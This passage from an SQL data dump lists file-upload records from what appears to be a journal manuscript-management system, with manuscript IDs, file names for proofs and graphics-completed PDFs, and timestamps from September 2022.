13:03:21',1,3,0),(33524,13045,'13045-Manuscript-2022-09-17-9w05-iptb-22-13045.rar',NULL,'2022-09-17 13:04:02',1,3,0),(33525,13024,'13024-Manuscript-2022-09-17-yi8c-graphic-completed.pdf',NULL,'2022-09-17 13:06:55',1,3,0),(33526,13038,'13038-206-Manuscript-proof-submission-2022-09-19.rar',NULL,'2022-09-19 09:53:33',1,3,0),(33527,13023,'13023-Manuscript-2022-09-19-trdq-graphic-completed.pdf',NULL,'2022-09-19 12:18:14',1,3,0),(33528,13026,'13026-Manuscript-2022-09-19-nskf-graphic-completed.pdf',NULL,'2022-09-19 12:18:23',1,3,0),(33529,13025,'13025-Manuscript-2022-09-19-5aw2-graphic-completed.pdf',NULL,'2022-09-19 12:18:37',1,3,0),(33530,13036,'13036-Manuscript-2022-09-19-cwyn-graphic-completed.pdf',NULL,'2022-09-19 12:18:50',1,3,0),(33531,12797,'12797-483-Manuscript-proof-submission-2022-09-19.pdf',NULL,'2022-09-19 12:29:56',1,3,0),(33532,13024,'13024-Manuscript-2022-09-19-1yva.pdf',NULL,'2022-09-19 13:22:16',1,3,0),(33533,13025,'13025-Manuscript-2022-09-19-lec8.pdf',NULL,'2022-09-19 13:24:47',1,3,0),(33534,12871,'12871-1080-Manuscript-proof-submission-2022-09-19.pdf',NULL,'2022-09-19 13:29:21',1,3,0),(33535,13036,'13036-Manuscript-2022-09-19-v7mq.pdf',NULL,'2022-09-19 13:31:32',1,3,0),(33536,12856,'12856-167-Manuscript-proof-submission-2022-09-19.zip',NULL,'2022-09-19 13:39:00',1,3,0),(33537,13052,'13052-697-Manuscript-proof-submission-2022-09-19.rar',NULL,'2022-09-19 13:54:19',1,3,0),(33538,13059,'13059-574-Manuscript-proof-submission-2022-09-19.rar',NULL,'2022-09-19 16:44:48',1,3,0),(33539,13023,'13023-Manuscript-2022-09-19-9zlc.pdf',NULL,'2022-09-19 18:09:13',1,3,0),(33540,13026,'13026-Manuscript-2022-09-19-mto9.pdf',NULL,'2022-09-19 18:10:52',1,3,0),(33541,13038,'13038-Manuscript-2022-09-19-zcwm-ipjbs-22-13038.rar',NULL,'2022-09-19 18:15:49',1,3,0),(33542,13059,'13059-Manuscript-2022-09-20-e68t-ipjbs-22-13059.rar',NULL,'2022-09-20 10:59:36',1,3,0),(33543,13068,'13068-1367-Manuscript-proof-submission-2022-09-20.rar',NULL,'2022-09-20 11:16:45',1,3,0),(33544,12850,'12850-225-Manuscript-proof-submission-2022-09-20.rar',NULL,'2022-09-20 11:27:34',1,3,0),(33545,13052,'13052-Manuscript-2022-09-20-zyqv-iphsj-22-13052.rar',NULL,'2022-09-20 11:44:26',1,3,1),(33546,13072,'13072-0-Manuscript-2022-09-20.docx',NULL,'2022-09-20 12:22:33',1,1,0),(33547,13073,'13073-0-Manuscript-2022-09-20.docx',NULL,'2022-09-20 12:31:08',1,1,0),(33548,12850,'12850-Manuscript-2022-09-20-po20-ap-team-revised.rar',NULL,'2022-09-20 13:15:27',1,3,1),(33549,13000,'13000-Manuscript-2022-09-20-adg9-graphic-completed.pdf',NULL,'2022-09-20 14:26:18',1,3,0),(33550,12987,'12987-Manuscript-2022-09-20-9kuj-graphic-completed.pdf',NULL,'2022-09-20 14:26:21',1,3,0),(33551,12924,'12924-Manuscript-2022-09-20-2qi7-graphic-completed.pdf',NULL,'2022-09-20 14:26:26',1,3,0),(33552,13059,'13059-Manuscript-2022-09-20-m405-graphic-completed.pdf',NULL,'2022-09-20 14:56:08',1,3,0),(33553,13038,'13038-Manuscript-2022-09-20-m79c-graphic-completed.pdf',NULL,'2022-09-20 14:56:11',1,3,0),(33554,12987,'12987-Manuscript-2022-09-20-9sih.pdf',NULL,'2022-09-20 15:38:27',1,3,0),(33555,13045,'13045-Manuscript-2022-09-20-y7ri-graphic-completed.pdf',NULL,'2022-09-20 16:34:28',1,3,0),(33556,13044,'13044-Manuscript-2022-09-20-ucr4-graphic-completed.pdf',NULL,'2022-09-20 16:34:48',1,3,0),(33557,13043,'13043-Manuscript-2022-09-20-ad8e-graphic-completed.pdf',NULL,'2022-09-20 16:35:13',1,3,0),(33558,13042,'13042-Manuscript-2022-09-20-kfj0-graphic-completed.pdf',NULL,'2022-09-20 16:35:32',1,3,0),(33559,13041,'13041-Manuscript-2022-09-20-74me-graphic-completed.pdf',NULL,'2022-09-20 16:37:17',1,3,0),(33560,12791,'12791-Manuscript-2022-09-20-qbhr-graphic-completed.pdf',NULL,'2022-09-20 16:37:49',1,3,0),(33561,10366,'10366-1089-Manuscript-proof-submission-2022-09-20.docx',NULL,'2022-09-20 17:04:43',1,3,0),(33562,13060,'13060-Manuscript-2022-09-20-mwsn-graphic-completed.pdf',NULL,'2022-09-20 17:21:47',1,3,0),(33563,13053,'13053-Manuscript-2022-09-20-uhq1-graphic-completed.pdf',NULL,'2022-09-20 17:24:52',1,3,0),(33564,12973,'12973-Manuscript-2022-09-20-bdhy-graphic-completed.pdf',NULL,'2022-09-20 17:26:16',1,3,0),(33565,12974,'12974-Manuscript-2022-09-20-xh5d-graphic-completed.pdf',NULL,'2022-09-20 17:26:57',1,3,0),(33566,13027,'13027-Manuscript-2022-09-20-zpju-graphic-completed.pdf',NULL,'2022-09-20 17:28:01',1,3,0),(33567,13029,'13029-Manuscript-2022-09-20-zo9d-graphic-completed.pdf',NULL,'2022-09-20 17:28:35',1,3,0),(33568,13031,'13031-Manuscript-2022-09-20-g5di-graphic-completed.pdf',NULL,'2022-09-20 17:29:00',1,3,0),(33569,12978,'12978-Manuscript-2022-09-20-m234-ap-ame-revised.pdf',NULL,'2022-09-20 17:49:52',1,3,0),(33570,13068,'13068-Manuscript-2022-09-20-cua1-IPJUS-22-13068.rar',NULL,'2022-09-20 18:01:14',1,3,0),(33571,13074,'13074-0-Manuscript-2022-09-20.docx',NULL,'2022-09-20 18:10:53',1,1,0),(33572,13075,'13075-0-Manuscript-2022-09-20.docx',NULL,'2022-09-21 01:11:02',1,1,0),(33573,13044,'13044-Manuscript-2022-09-21-kr5l.pdf',NULL,'2022-09-21 10:41:32',1,3,0),(33574,13045,'13045-Manuscript-2022-09-21-u6yc.pdf',NULL,'2022-09-21 10:42:48',1,3,0),(33575,13041,'13041-Manuscript-2022-09-21-v19k.pdf',NULL,'2022-09-21 10:43:47',1,3,0),(33576,13043,'13043-Manuscript-2022-09-21-yr9x.pdf',NULL,'2022-09-21 10:44:53',1,3,0),(33577,13042,'13042-Manuscript-2022-09-21-ty38.pdf',NULL,'2022-09-21 10:45:43',1,3,0),(33578,13068,'13068-Manuscript-2022-09-21-2icm-graphic-completed.pdf',NULL,'2022-09-21 10:53:14',1,3,0),(33579,13060,'13060-Manuscript-2022-09-21-t6ql-graphic-completed.pdf',NULL,'2022-09-21 10:53:22',1,3,0),(33580,12867,'12867-1423-Manuscript-proof-submission-2022-09-21.rar',NULL,'2022-09-21 12:19:31',1,3,0),(33581,13065,'13065-1561-Manuscript-proof-submission-2022-09-21.rar',NULL,'2022-09-21 12:32:07',1,3,0),(33582,12850,'12850-Manuscript-2022-09-21-uxw1-graphic-completed.pdf',NULL,'2022-09-21 13:56:47',1,3,0),(33583,13052,'13052-Manuscript-2022-09-21-okgq-graphic-completed.pdf',NULL,'2022-09-21 13:57:12',1,3,0),(33584,12861,'12861-281-Manuscript-proof-submission-2022-09-21.zip',NULL,'2022-09-21 14:37:49',1,3,0),(33585,13057,'13057-Manuscript-2022-09-21-v6b2-graphic-completed.pdf',NULL,'2022-09-21 15:35:15',1,3,0),(33586,13054,'13054-Manuscript-2022-09-21-f6ac-graphic-completed.pdf',NULL,'2022-09-21 15:35:21',1,3,0),(33587,13015,'13015-Manuscript-2022-09-21-aib3-graphic-completed.pdf',NULL,'2022-09-21 15:36:29',1,3,0),(33588,13017,'13017-Manuscript-2022-09-21-d4hv-graphic-completed.pdf',NULL,'2022-09-21 15:36:33',1,3,0),(33589,13028,'13028-Manuscript-2022-09-21-hv6q-graphic-completed.pdf',NULL,'2022-09-21 15:36:48',1,3,0),(33590,13030,'13030-Manuscript-2022-09-21-riwg-graphic-completed.pdf',NULL,'2022-09-21 15:36:59',1,3,0),(33591,13027,'13027-Manuscript-2022-09-21-ow0a.pdf',NULL,'2022-09-21 17:48:06',1,3,0),(33592,13031,'13031-Manuscript-2022-09-21-fzs3.pdf',NULL,'2022-09-21 17:49:19',1,3,0),(33593,13060,'13060-Manuscript-2022-09-21-t6ow.pdf',NULL,'2022-09-21 17:50:04',1,3,0),(33594,13068,'13068-Manuscript-2022-09-21-gcy7.pdf',NULL,'2022-09-21 17:50:41',1,3,0),(33595,12858,'12858-1996-Manuscript-proof-submission-2022-09-21.zip',NULL,'2022-09-21 18:06:42',1,3,0),(33596,12977,'12977-1729-Manuscript-proof-submission-2022-09-21.zip',NULL,'2022-09-21 18:10:01',1,3,0),(33597,12977,'12977-925-Manuscript-proof-submission-2022-09-21.zip',NULL,'2022-09-21 18:10:04',1,3,0),(33598,13029,'13029-Manuscript-2022-09-22-l8co.pdf',NULL,'2022-09-22 09:53:10',1,3,1),(33599,13076,'13076-0-Manuscript-2022-09-22.docx',NULL,'2022-09-22 10:07:59',1,1,0),(33600,13071,'13071-315-Manuscript-proof-submission-2022-09-22.docx',NULL,'2022-09-22 10:36:46',1,3,0),(33601,13065,'13065-Manuscript-2022-09-22-xrju-ipacm-22-13065.rar',NULL,'2022-09-22 11:14:25',1,3,0),(33602,12925,'12925-Manuscript-2022-09-22-sefx-ipacm-22-12925.rar',NULL,'2022-09-22 11:24:58',1,3,0),(33603,12997,'12997-Manuscript-2022-09-22-d90p-graphic-completed.pdf',NULL,'2022-09-22 12:11:37',1,3,0),(33604,13022,'13022-Manuscript-2022-09-22-emgu-graphic-completed.pdf',NULL,'2022-09-22 12:11:44',1,3,0),(33605,13018,'13018-Manuscript-2022-09-22-zvg5-graphic-completed.pdf',NULL,'2022-09-22 12:11:54',1,3,0),(33606,13006,'13006-Manuscript-2022-09-22-bh25-graphic-completed.pdf',NULL,'2022-09-22 12:12:23',1,3,0),(33607,12856,'12856-Manuscript-2022-09-22-3slt-ipjnn-22-12856.rar',NULL,'2022-09-22 12:19:24',1,3,0),(33608,12858,'12858-Manuscript-2022-09-22-h2fs-ap-team-revised.rar',NULL,'2022-09-22 12:19:41',1,3,0),(33609,12861,'12861-Manuscript-2022-09-22-l8ed-ipjnn-22-12861.rar',NULL,'2022-09-22 12:19:52',1,3,0),(33610,13071,'13071-Manuscript-2022-09-22-d57o-ijddr-22-13071.rar',NULL,'2022-09-22 12:32:07',1,3,1),(33611,10366,'10366-Manuscript-2022-09-22-w0k8-ipadm-21-10366.zip',NULL,'2022-09-22 13:14:27',1,3,1),(33612,13059,'13059-Manuscript-2022-09-22-06ik.pdf',NULL,'2022-09-22 13:23:03',1,3,0),(33613,13038,'13038-Manuscript-2022-09-22-425q.pdf',NULL,'2022-09-22 13:27:09',1,3,0),(33614,12981,'12981-189-Manuscript-proof-submission-2022-09-22.rar',NULL,'2022-09-22 13:49:05',1,3,0),(33615,12987,'12987-Manuscript-2022-09-22-10dh.pdf',NULL,'2022-09-22 14:01:55',1,3,0),(33616,13000,'13000-Manuscript-2022-09-22-swq5.pdf',NULL,'2022-09-22 14:03:28',1,3,0),(33617,12924,'12924-Manuscript-2022-09-22-pb2c.pdf',NULL,'2022-09-22 14:04:45',1,3,0),(33618,12912,'12912-1100-Manuscript-proof-submission-2022-09-22.rar',NULL,'2022-09-22 14:31:26',1,3,0),(33619,13008,'13008-556-Manuscript-proof-submission-2022-09-22.zip',NULL,'2022-09-22 14:46:34',1,3,0),(33620,12925,'12925-Manuscript-2022-09-22-smvg-graphic-completed.pdf',NULL,'2022-09-22 14:48:36',1,3,0),(33621,12983,'12983-Manuscript-2022-09-22-6fb2-graphic-completed.pdf',NULL,'2022-09-22 14:48:41',1,3,0),(33622,12988,'12988-Manuscript-2022-09-22-fuay-graphic-completed.pdf',NULL,'2022-09-22 14:48:49',1,3,0),(33623,13032,'13032-Manuscript-2022-09-22-27r9-graphic-completed.pdf',NULL,'2022-09-22 14:49:09',1,3,0),(33624,12662,'12662-Manuscript-2022-09-22-o6un-graphic-completed.pdf',NULL,'2022-09-22 14:50:50',1,3,0),(33625,12930,'12930-Manuscript-2022-09-22-urbk-graphic-completed.pdf',NULL,'2022-09-22 14:51:16',1,3,0),(33626,12912,'12912-Manuscript-2022-09-22-6olb-iphsj-22-12912.rar',NULL,'2022-09-22 15:12:44',1,3,1),(33627,12867,'12867-Manuscript-2022-09-22-eu2k-iphsj-22-12867.rar',NULL,'2022-09-22 15:21:46',1,3,1),(33628,12725,'12725-Manuscript-2022-09-22-6ghq-ipaom-22-12725.rar',NULL,'2022-09-22 15:45:31',1,3,0),(33629,12981,'12981-Manuscript-2022-09-23-qdyv-ipacm-22-12981.rar',NULL,'2022-09-23 10:50:32',1,3,0),(33630,13008,'13008-Manuscript-2022-09-23-1fk2-ipjnn-22-13008.rar',NULL,'2022-09-23 13:17:56',1,3,1),(33631,13018,'13018-Manuscript-2022-09-23-am2n.pdf',NULL,'2022-09-23 13:21:08',1,3,0),(33632,13022,'13022-Manuscript-2022-09-23-sgzl.pdf',NULL,'2022-09-23 13:24:39',1,3,0),(33633,12856,'12856-Manuscript-2022-09-23-fgi6-graphic-completed.pdf',NULL,'2022-09-23 14:02:39',1,3,0),(33634,13077,'13077-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 14:05:37',1,1,0),(33635,13078,'13078-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 14:07:46',1,1,0),(33636,13079,'13079-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 14:15:53',1,1,0),(33637,13080,'13080-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 14:17:45',1,1,0),(33638,13081,'13081-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 14:21:19',1,1,0),(33639,12861,'12861-Manuscript-2022-09-23-qwfl-graphic-completed.pdf',NULL,'2022-09-23 14:30:43',1,3,0),(33640,12977,'12977-Manuscript-2022-09-23-k0rs-graphic-completed.pdf',NULL,'2022-09-23 14:31:34',1,3,0),(33641,12858,'12858-Manuscript-2022-09-23-9fvm-graphic-completed.pdf',NULL,'2022-09-23 14:33:20',1,3,0),(33642,13072,'13072-298-Manuscript-proof-submission-2022-09-23.rar',NULL,'2022-09-23 14:43:38',1,3,0),(33643,13072,'13072-Manuscript-2022-09-23-j6s3-IPJUS-22-13072.rar',NULL,'2022-09-23 15:01:57',1,3,0),(33644,13072,'13072-Manuscript-2022-09-23-b2tu-IPJUS-22-13072.rar',NULL,'2022-09-23 15:02:05',1,3,0),(33645,13072,'13072-Manuscript-2022-09-23-or8j-IPJUS-22-13072.rar',NULL,'2022-09-23 15:02:21',1,3,0),(33646,12981,'12981-Manuscript-2022-09-23-odxy-graphic-completed.pdf',NULL,'2022-09-23 15:29:06',1,3,0),(33647,13077,'13077-1849-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:41:15',1,3,0),(33648,13078,'13078-1555-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:43:51',1,3,0),(33649,13078,'13078-1731-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:43:53',1,3,0),(33650,13079,'13079-401-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:46:43',1,3,0),(33651,13080,'13080-86-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:52:13',1,3,0),(33652,13081,'13081-36-Manuscript-proof-submission-2022-09-23.docx',NULL,'2022-09-23 15:54:12',1,3,0),(33653,13082,'13082-0-Manuscript-2022-09-23.docx',NULL,'2022-09-23 15:56:13',1,1,0),(33654,13073,'13073-964-Manuscript-proof-submission-2022-09-23.rar',NULL,'2022-09-23 16:48:23',1,3,0),(33655,12912,'12912-Manuscript-2022-09-23-c149-graphic-completed.pdf',NULL,'2022-09-23 17:12:34',1,3,0),(33656,12867,'12867-Manuscript-2022-09-23-aru0-graphic-completed.pdf',NULL,'2022-09-23 17:13:07',1,3,0),(33657,13073,'13073-Manuscript-2022-09-23-j7p3-IPJUS-22-13073.rar',NULL,'2022-09-23 17:19:37',1,3,0),(33658,13065,'13065-1652-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 09:56:16',1,3,0),(33659,12925,'12925-1196-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 09:57:54',1,3,0),(33660,12662,'12662-2000-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 09:59:07',1,3,0),(33661,13071,'13071-Manuscript-2022-09-24-7wtj-graphic-completed.pdf',NULL,'2022-09-24 09:59:35',1,3,0),(33662,13032,'13032-1514-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:02:11',1,3,0),(33663,13057,'13057-266-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:03:17',1,3,0),(33664,13054,'13054-1985-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:04:21',1,3,0),(33665,12983,'12983-541-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:05:21',1,3,0),(33666,12930,'12930-1130-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:06:08',1,3,0),(33667,11846,'11846-1926-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 10:07:46',1,3,0),(33668,13083,'13083-0-Manuscript-2022-09-24.docx',NULL,'2022-09-24 10:13:01',1,1,0),(33669,13084,'13084-0-Manuscript-2022-09-24.docx',NULL,'2022-09-24 10:30:41',1,1,0),(33670,13074,'13074-1907-Manuscript-proof-submission-2022-09-24.rar',NULL,'2022-09-24 11:14:55',1,3,0),(33671,12988,'12988-Manuscript-2022-09-24-4r6k.pdf',NULL,'2022-09-24 11:17:02',1,3,0),(33672,13071,'13071-Manuscript-2022-09-24-ogyz.pdf',NULL,'2022-09-24 11:48:21',1,3,1),(33673,13006,'13006-Manuscript-2022-09-24-8i7v.pdf',NULL,'2022-09-24 11:50:57',1,3,0),(33674,12997,'12997-Manuscript-2022-09-24-w8sy.pdf',NULL,'2022-09-24 11:52:57',1,3,0),(33675,13073,'13073-Manuscript-2022-09-24-3ieq-graphic-completed.pdf',NULL,'2022-09-24 12:00:41',1,3,0),(33676,13072,'13072-Manuscript-2022-09-24-52bj-graphic-completed.pdf',NULL,'2022-09-24 12:01:32',1,3,0),(33677,13081,'13081-Manuscript-2022-09-24-kmbq-ipjnn-22-13081.docx',NULL,'2022-09-24 12:05:26',1,3,0),(33678,13080,'13080-Manuscript-2022-09-24-7gjt-ipjnn-22-13080.docx',NULL,'2022-09-24 12:06:19',1,3,0),(33679,13079,'13079-Manuscript-2022-09-24-r6ak-ipjnn-22-13079.docx',NULL,'2022-09-24 12:07:00',1,3,0),(33680,13078,'13078-Manuscript-2022-09-24-ocfl-ipjnn-22-13078.docx',NULL,'2022-09-24 12:07:51',1,3,0),(33681,13077,'13077-Manuscript-2022-09-24-o7ge-ipjnn-22-13077.docx',NULL,'2022-09-24 12:08:29',1,3,0),(33682,13048,'13048-1601-Manuscript-proof-submission-2022-09-24.zip',NULL,'2022-09-24 12:46:01',1,3,0),(33683,13074,'13074-Manuscript-2022-09-26-gowt-IPJUS-22-13074.rar',NULL,'2022-09-26 09:46:21',1,3,0),(33684,13065,'13065-Manuscript-2022-09-26-qyl1-ipacm-22-13065.rar',NULL,'2022-09-26 09:52:14',1,3,0),(33685,13065,'13065-Manuscript-2022-09-26-q20k-move-pdf-making.rar',NULL,'2022-09-26 10:02:00',1,3,0),(33686,13077,'13077-Manuscript-2022-09-26-9e0y-graphic-completed.pdf',NULL,'2022-09-26 10:36:57',1,3,0),(33687,13078,'13078-Manuscript-2022-09-26-u21a-graphic-completed.pdf',NULL,'2022-09-26 10:37:31',1,3,0),(33688,13079,'13079-Manuscript-2022-09-26-nemy-graphic-completed.pdf',NULL,'2022-09-26 10:37:59',1,3,0),(33689,13080,'13080-Manuscript-2022-09-26-oz17-graphic-completed.pdf',NULL,'2022-09-26 10:38:41',1,3,0),(33690,13081,'13081-Manuscript-2022-09-26-bqsx-graphic-completed.pdf',NULL,'2022-09-26 10:39:09',1,3,0),(33691,13049,'13049-389-Manuscript-proof-submission-2022-09-26.zip',NULL,'2022-09-26 10:45:46',1,3,0),(33692,13065,'13065-Manuscript-2022-09-26-cw5s-graphic-completed.pdf',NULL,'2022-09-26 11:31:39',1,3,0),(33693,12923,'12923-459-Manuscript-proof-submission-2022-09-26.rar',NULL,'2022-09-26 11:51:28',1,3,0),(33694,13085,'13085-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 13:09:43',1,1,0),(33695,13086,'13086-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 13:11:51',1,1,0),(33696,13087,'13087-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 13:13:45',1,1,0),(33697,12850,'12850-Manuscript-2022-09-26-jbfk.pdf',NULL,'2022-09-26 14:42:10',1,3,1),(33698,12867,'12867-Manuscript-2022-09-26-du32.pdf',NULL,'2022-09-26 14:44:02',1,3,1),(33699,13088,'13088-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 14:44:13',1,1,0),(33700,12912,'12912-Manuscript-2022-09-26-bi82.pdf',NULL,'2022-09-26 14:46:08',1,3,1),(33701,13052,'13052-Manuscript-2022-09-26-cf0g.pdf',NULL,'2022-09-26 14:47:45',1,3,1),(33702,12923,'12923-Manuscript-2022-09-26-359s-iphsj-22-12923.rar',NULL,'2022-09-26 14:58:30',1,3,1),(33703,13089,'13089-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 15:08:38',1,1,0),(33704,13090,'13090-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 16:42:23',1,1,0),(33705,13091,'13091-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 16:47:49',1,1,0),(33706,12856,'12856-Manuscript-2022-09-26-ijz4.pdf',NULL,'2022-09-26 17:01:33',1,3,0),(33707,12858,'12858-Manuscript-2022-09-26-luq2.pdf',NULL,'2022-09-26 17:01:58',1,3,0),(33708,12861,'12861-Manuscript-2022-09-26-xyes.pdf',NULL,'2022-09-26 17:02:11',1,3,0),(33709,12977,'12977-Manuscript-2022-09-26-bmqw.pdf',NULL,'2022-09-26 17:02:24',1,3,0),(33710,13081,'13081-Manuscript-2022-09-26-wyvu.pdf',NULL,'2022-09-26 17:04:21',1,3,1),(33711,13080,'13080-Manuscript-2022-09-26-jipy.pdf',NULL,'2022-09-26 17:04:33',1,3,1),(33712,13079,'13079-Manuscript-2022-09-26-qd8a.pdf',NULL,'2022-09-26 17:04:45',1,3,1),(33713,13078,'13078-Manuscript-2022-09-26-f901.pdf',NULL,'2022-09-26 17:04:58',1,3,0),(33714,13077,'13077-Manuscript-2022-09-26-umck.pdf',NULL,'2022-09-26 17:05:20',1,3,0),(33715,12977,'12977-Manuscript-2022-09-26-1b8y.pdf',NULL,'2022-09-26 17:05:43',1,3,1),(33716,13092,'13092-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 17:28:43',1,1,0),(33717,13093,'13093-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 17:35:43',1,1,0),(33718,13094,'13094-0-Manuscript-2022-09-26.docx',NULL,'2022-09-26 17:37:50',1,1,0),(33719,7712,'7712-Manuscript-2022-09-26-08oq-graphic-completed.pdf',NULL,'2022-09-26 18:11:51',1,3,0),(33720,13008,'13008-Manuscript-2022-09-27-qu48.pdf',NULL,'2022-09-27 11:20:44',1,3,0),(33721,13008,'13008-Manuscript-2022-09-27-hraq.pdf',NULL,'2022-09-27 11:20:58',1,3,1),(33722,12923,'12923-Manuscript-2022-09-27-tg0r-graphic-completed.pdf',NULL,'2022-09-27 11:24:07',1,3,0),(33723,13085,'13085-913-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 12:02:17',1,3,0),(33724,13086,'13086-1650-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 12:03:14',1,3,0),(33725,13087,'13087-1909-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 12:03:38',1,3,0),(33726,13084,'13084-2007-Manuscript-proof-submission-2022-09-27.rar',NULL,'2022-09-27 12:19:59',1,3,0),(33727,12923,'12923-Manuscript-2022-09-27-n65j.pdf',NULL,'2022-09-27 13:15:00',1,3,1),(33728,13037,'13037-1169-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 13:19:22',1,3,0),(33729,13037,'13037-997-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 13:19:22',1,3,0),(33730,13037,'13037-385-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 13:19:22',1,3,0),(33731,13037,'13037-1239-Manuscript-proof-submission-2022-09-27.docx',NULL,'2022-09-27 13:19:22',1,3,0),(33732,13048,'13048-Manuscript-2022-09-27-5ayd-ipjnn-22-13048.rar',NULL,'2022-09-27 13:24:32',1,3,1),(33733,13084,'13084-Manuscript-2022-09-27-lxy7-ipacm-22-13084.rar',NULL,'2022-09-27 13:43:23',1,3,0),(33734,13048,'13048-Manuscript-2022-09-27-kanl-graphic-completed.pdf',NULL,'2022-09-27 13:59:36',1,3,0),(33735,13089,'13089-2022-Manuscript-proof-submission-2022-09-27.rar',NULL,'2022-09-27 14:30:23',1,3,0),(33736,13088,'13088-260-Manuscript-proof-submission-2022-09-27.rar',NULL,'2022-09-27 15:41:33',1,3,0),(33737,13084,'13084-Manuscript-2022-09-27-q7v1-graphic-completed.pdf',NULL,'2022-09-27 15:48:59',1,3,0),(33738,13089,'13089-Manuscript-2022-09-27-mtep-IPJUS-22-13089.rar',NULL,'2022-09-27 17:20:42',1,3,0),(33739,13088,'13088-Manuscript-2022-09-27-knec-IPJUS-22-13088.rar',NULL,'2022-09-27 17:21:21',1,3,0),(33740,13095,'13095-0-Manuscript-2022-09-27.docx',NULL,'2022-09-27 21:52:05',1,1,0),(33741,13095,'13095-1-Manuscript-2022-09-27.docx',NULL,'2022-09-27 21:52:05',1,1,0),(33742,13095,'13095-2-Manuscript-2022-09-27.docx',NULL,'2022-09-27 21:52:05',1,1,0),(33743,13048,'13048-Manuscript-2022-09-28-8vam.pdf',NULL,'2022-09-28 12:24:32',1,3,0),(33744,12981,'12981-Manuscript-2022-09-28-5nci-graphic-completed.pdf',NULL,'2022-09-28 14:06:45',1,3,0),(33745,13074,'13074-Manuscript-2022-09-28-np2t-graphic-completed.pdf',NULL,'2022-09-28 14:21:55',1,3,0),(33746,13088,'13088-Manuscript-2022-09-28-kvm1-graphic-completed.pdf',NULL,'2022-09-28 14:22:09',1,3,0),(33747,13089,'13089-Manuscript-2022-09-28-rp82-graphic-completed.pdf',NULL,'2022-09-28 14:22:35',1,3,0),(33748,12925,'12925-Manuscript-2022-09-29-r52s-ipacm-22-12925.rar',NULL,'2022-09-29 10:55:06',1,3,0),(33749,13057,'13057-Manuscript-2022-09-29-yj7n-ipacm-22-13057.rar',NULL,'2022-09-29 10:59:54',1,3,0),(33750,13054,'13054-Manuscript-2022-09-29-vph3-ipacm-22-13054.rar',NULL,'2022-09-29 11:03:33',1,3,0),(33751,12930,'12930-Manuscript-2022-09-29-c6lz-ipacm-22-12930.rar',NULL,'2022-09-29 11:16:46',1,3,0),(33752,12983,'12983-Manuscript-2022-09-29-lapw-ipacm-22-12983.rar',NULL,'2022-09-29 11:21:26',1,3,0),(33753,13032,'13032-Manuscript-2022-09-29-vpkg-ipacm-22-13032.rar',NULL,'2022-09-29 11:27:34',1,3,0),(33754,13049,'13049-Manuscript-2022-09-29-u0wf-ipjnn-22-13049.rar',NULL,'2022-09-29 13:36:51',1,3,1),(33755,13087,'13087-Manuscript-2022-09-29-sr4h-ipjnn-22-13087.docx',NULL,'2022-09-29 13:37:02',1,3,0),(33756,13086,'13086-Manuscript-2022-09-29-dzvl-ipjnn-22-13086.docx',NULL,'2022-09-29 13:37:11',1,3,0),(33757,13085,'13085-Manuscript-2022-09-29-16rl-ipjnn-22-13085.docx',NULL,'2022-09-29 13:37:26',1,3,0),(33758,13096,'13096-0-Manuscript-2022-09-29.docx',NULL,'2022-09-29 14:03:40',1,1,0),(33759,13097,'13097-0-Manuscript-2022-09-29.docx',NULL,'2022-09-29 14:08:10',1,1,0),(33760,13098,'13098-0-Manuscript-2022-09-29.docx',NULL,'2022-09-29 14:13:48',1,1,0),(33761,13099,'13099-0-Manuscript-2022-09-29.docx',NULL,'2022-09-29 14:21:18',1,1,0),(33762,13100,'13100-0-Manuscript-2022-09-29.docx',NULL,'2022-09-29 14:24:39',1,1,0),(33763,13054,'13054-Manuscript-2022-09-29-1nel.pdf',NULL,'2022-09-29 14:42:44',1,3,0),(33764,13057,'13057-Manuscript-2022-09-29-wovc.pdf',NULL,'2022-09-29 14:44:24',1,3,0),(33765,13065,'13065-Manuscript-2022-09-29-q5wm.pdf',NULL,'2022-09-29 14:45:39',1,3,0),(33766,13084,'13084-Manuscript-2022-09-29-tkpa.pdf',NULL,'2022-09-29 14:46:39',1,3,1),(33767,12981,'12981-Manuscript-2022-09-29-ngxa.pdf',NULL,'2022-09-29 14:48:47',1,3,0),(33768,13085,'13085-Manuscript-2022-09-30-apcs-graphic-completed.pdf',NULL,'2022-09-30 10:54:59',1,3,1),(33769,13086,'13086-Manuscript-2022-09-30-9ojf-graphic-completed.pdf',NULL,'2022-09-30 10:55:28',1,3,1),(33770,13087,'13087-Manuscript-2022-09-30-21qz-graphic-completed.pdf',NULL,'2022-09-30 10:55:54',1,3,0),(33771,13049,'13049-Manuscript-2022-09-30-saud-graphic-completed.pdf',NULL,'2022-09-30 